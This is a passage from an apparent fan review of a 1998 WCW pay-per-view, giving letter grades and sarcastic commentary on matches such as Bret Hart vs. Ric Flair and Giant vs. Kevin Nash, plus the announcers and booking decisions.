Rating: D. This was whatever really. No one, and I mean no one, cared about Dusty turning here. He wouldn’t be around that long at all as he would head over to ECW and then come back in like a year and a half. Spicolli was supposed to fight Zbyszko at Superbrawl but he wouldn’t be alive in 30 days. Weak match here and a waste of Hall who was being pushed at this point.

 

We recap the segment and Tony hates it. The fans still think Larry sucks, proving that the whole thing failed.

 

Scott Norton/Buff Bagwell/Konnan vs. Ray Traylor/Steiner Brothers

 

Traylor is the Big Boss Man. Tony walks off set for a bit so Tenay comes out to give us Tenay and Heenan on commentary. Ok dude, EVERYONE has joined the NWO and this is supposed to be a big deal. The Steiner team has DiBiase with them and the NWO has Vincent which is kind of cool. Scott Steiner is teasing a heel turn as he has been doing for about the last six months. He would finally turn the next month.

 

Tony comes back and whines about Dusty. Yep this is going to go on forever isn’t it? Scott Steiner (blast it I have to specify in this match don’t I) wants to start but his partners won’t let him because they know he won’t tag out. Buff and Rick officially start. We talk about Dusty a lot and completely ignore the match at hand, which makes sense as there’s nothing to this match anyway.

 

Buff destroys him to start until a powerslam or something like one gets Rick out of trouble. Off to Traylor who hammers away. Two minutes in and Tony stops posting in his Livejournal about how much he hates Dusty now. Basically this is a handicap match since Rick and Traylor won’t tag Scott in due to him being a whiny twerp as I said. I know I’m repeating a lot of stuff but there’s nothing to say here otherwise.

 

Rick rips away at Buff’s face and Norton finally comes in. It’s weird that the team wrestling with two guys had made more tags than the team with three. Traylor hammers away on Norton and beats on Buff too. The numbers catch up with them and Heenan has a Freudian slip by talking about Dusty again. For the love of tar shut up about him! Konnan vs. Traylor at the moment in this boring match.

 

Tony announces again that he’s going to stop thinking about it. Naturally it takes him 15 seconds to stop talking about how he’s going to stop talking about it. Traylor and Norton collide and everyone is down. Scott Steiner hasn’t been in yet at all. Konnan gets a DDT to take down Rick as Tony tries to say Dusty is the reason the crowd is dead. Well at least he’s funny about it.

 

Rick gets beaten up on the floor as the VERY ANGRY Scott Steiner won’t even get off the apron to help. He’s kind of being a jerk when you think about it. The problem is that we keep seeing the same combinations of five guys that aren’t interesting in the slightest. Scott Steiner gets over next to Traylor on the same side which isn’t something you see often. They argue about it because they feel like annoying me.

 

Chinlock by Buff to Rick and Scott Steiner continues to be annoying as he wants a tag. Konnan beats on Rick for awhile as we need this to end or at least do something already. The fans are bored out of their minds and the announcers keep blaming it on Dusty instead of a terribly bad 6 man tag. For a nice change of pace, Norton beats on Rick for awhile now. This beating segment has been going on for like 4 minutes now.

 

Rolling dropkick by Konnan but Rick FINALLY breaks off some offense and everyone is down. Scott Steiner and Traylor tag in at the same time so no one is sure what’s going on. The future Big Poppa Pump shoves the referee and gets tagged in….somehow. Steiner Screwdriver (look that insane move up) to Konnan ends this.

 

Rating: D-. WAY too long here with Rick being in there forever. This was boring beyond belief and the crowd died from it. The announcers didn’t care at all and they talked about the Dusty turn the entire turn. Steiner would FINALLY turn next month and then do nothing of note for about six months due to Goldberg getting the focus as he should have.

 

Scott Steiner and Bagwell have some weird moment post match for even more foreshadowing.

 

Giant vs. Kevin Nash

 

This is the match that was supposed to happen for months but Nash didn’t show up at Starrcade because he didn’t want to lose to Giant. Remember that. After all the months of waiting, they lock up. Riveting stuff so far. Hogan and Bischoff are here with Nash because Hogan put up the 1.5 million dollars required to get Nash here. The deal was Nash had to ensure he’d be here (think about that for a minute) and Giant had to put it up to ensure he wouldn’t touch Nash. Riveting stuff.

 

Giant beats on him for awhile and Nash bails. Bobby literally whispers things into Tony’s ear and Tony gets annoyed at him for it. Giant chokes away in the corner with the foot and it’s more or less all future Big Show. Nash busts out a freaking leap frog of all things and puts Giant on the floor. NASH JUMPS OVER THE TOP ONTO GIANT AND GETS CAUGHT IN THE AIR!!! Think about that for a few seconds. Once your minds are done getting blown and you towel off, I’ll be here waiting.

 

Giant throws Nash in and Bischoff distracts the referee, allowing Hogan to DRILL Giant in the back with a chair. Giant makes it back in at about 9.8 and here comes Nash. We need a name for the spot where a guy is in position for a 619 and a guy gets a running start to jump on his back/neck. Giant shrugs the offense off and takes Nash down with a clothesline.

 

Both guys try big boots at the same time and they’re both down. Nash hammers away with his usual big power spots but walks into an atomic drop and some headbutts to take him down. Big boot puts Nash down as does a slam. Bischoff pops up and gets a chokeslam as a late Christmas present. Nash gets coffee from….somewhere and throws it in Giant’s eyes. Nash then tries the Jackknife and drops Giant ON HIS HEAD, looking like he killed him dead to end it. The crowd is completely silent after that for a second as that was terrifying. Giant would be out about a month because of it.

 

Rating: D. Well some of the spots were cool but giant vs. giant matches get kind of dull after awhile. The powerbomb at the end is absolutely terrifying though. Naturally they show the replay twice. One other thing to note here: Nash won the match. In other words, he avoided jobbing by not showing up and got to win a month later. And people said they didn’t have stroke backstage.

 

Bret Hart vs. Ric Flair

 

Basically just an “I’m better than you” match. Somehow this is Bret’s in ring debut for WCW. How in the world did they wait this long, AND WHY IN THE WORLD WAS THIS NOT AT STARRCADE??? Oh that’s right: we needed a boring six man on that show! Bret grabs a headlock and eventually takes him to the mat with it. This has a ton of time for it and Heenan wastes some of it by talking about Flair’s sex life.

 

Flair is only 48 here and is still rather good in the ring. My goodness did he go downhill during the Evolution years. Bret grabs a figure four for a bit but a rope is grabbed quickly. Suplex gets two and we’re back to that headlock. Bret slaps Flair down and the blonde haired one takes a break on the floor. Back in and Bret throws Flair around a bit and it’s back to the headlock.

 

A quick thumb to the eye and down goes the Canadian. Hart grabs a sleeper out of nowhere but gets reversed into a belly to back almost immediately. Flair gets a low blow in and of course Heenan defends it. Heenan and Flair are hilarious. Tony: “You know you’re an idiot.” Off to a chinlock by Naitch which doesn’t last long. Flair chokes away and is clearly the heel in this match.

 

Chops vs. punches is won by the puncher and I think you know who that is. Swinging neckbreaker by Bret gives us a little breather. Bret gets a bulldog for two. Well he used to be a cowboy so he has to have a bulldog every now and then I guess. Bret goes after the knee as is his custom. The figure four around the post doesn’t work as we hear about Jim Neidhart for no apparent reason.

 

Back in and Flair unleashes the knee crusher. You have to admit they know their formula if nothing else. Another knee crusher and Bret is in trouble. Bret gets an enziguri out of nowhere to put Flair down. Good back and forth stuff here. Bret tries another figure four but gets caught in a rollup for two. And there’s the chop block and Bret is right back down again.

 

There’s the REAL Figure Four (by the REAL World’s Champion for you old school fans out there) and Bret grabs the referee. The crowd doesn’t seem to care here which is kind of weird. Flair slaps Bret in the face because that’s always worked so well for him over the years.

 

Bret reverses which stays on for all of a second. Flair goes up and it’s apparent that Flair suffers from extreme memory loss as he continues to try thing after thing and it never works at all. There’s the Russian leg sweep by the Canadian to the Flairian (like he’s actually human) but Flair pops up and chops away in the corner.

 

Hart takes the straps down and is all like BRING IT ON! Bret hammers away in the corner and Flair is in trouble. Atomic drop out of the corner by Ric is in trouble. Here are the five moves of doom and amazingly enough, they actually work and Flair gives up to the Sharpshooter. I don’t remember those ever working but you have to have it work once I guess.

 

Rating: B+. Good stuff here but it felt like they never got it into that highest gear. Definitely the match of the night that actually meant something and a third great match tonight. Bret’s WCW run would pretty steadily go downhill from here though other than a few matches here and there, which is impressive since they managed to screw up BRET HART.

 

Randy Savage vs. Lex Luger

 

Yep, this is the main event. Why would you have a classic for the main event when you can have THIS? Well there are two arguments there. The first is that Luger and Savage were the “draws”. Considering you had Bret Hart and Ric Flair in the previous match, I find that really odd. The other answer is that Hogan gets involved in this match and he has to be in the last match of the night.

 

I have no idea why these two are fighting but it’s WCW so that is perfectly normal. Tony talks about how Flair erases the memory of Dusty Rhodes. Hey Tony, maybe you would forget about if faster IF YOU SHUT UP ABOUT IT! Savage walks around to start and Liz pops Luger in the back to let Savage take over to start. Savage controls early and gets a belly to back suplex for two. We talk about Dick the Bruiser for some reason and Savage gets a back elbow for two.

 

Liz chokes away with Savage’s bandana as she’s pretty awesome when she’s evil. All Savage so far. Luger tries to get going again but Liz grabs his foot and the problems continue. Savage gets a double axe to Luger who is on the floor. They head into the crowd and Luger finally gets something going.

 

Back to the ring now and Luger hammers away with clotheslines. Forearm (which somehow isn’t made of lead anymore) hits Savage and here comes Scott Hall with Hogan behind him. Hall has a chair but Hogan gets involved. Hall is knocked off the apron and in the distraction Luger gets the Rack for the submission. Somehow this was the main event. My mind is blown.

 

Rating: D. This was terrible and everyone knew it. This going on last was idiotic and shows another sign of how this company was in real trouble. All night long it was WCW vs. the NWO which was a feud that went on for a year and a half at this point and would eventually split into a 3 way feud as the Wolfpack debuted. Either way, bad main event that shouldn’t have been a main event.

 

The NWO comes out for the beatdown, Sting runs out for the save, Rack for Nash, Scorpion for Hogan, WCW IS AWESOME (despite the fans liking the NWO more), show over.

 

Overall Rating: B+. This was a very good show with two great matches and some other very good stuff sprinkled in. See, notice two things here also. 1. Hogan didn’t wrestle. 2. Clean finishes other than in the Zbyszko match. 3. Great PPV. Now notice what came later. 1. More Hogan/NWO. 2. More screwy finishes. 3. Worse PPVs.

 

This was a high buyrate for a PPV in this time frame and yet Hogan didn’t wrestle. DO YOU GET THE POINT WCW??? Of course they didn’t because it went right back to Hogan as he would be champion again in April. WCW could have been saved and it was all there in front of them but they never got it and they died. Still though, great stuff here but don’t watch the “main event.”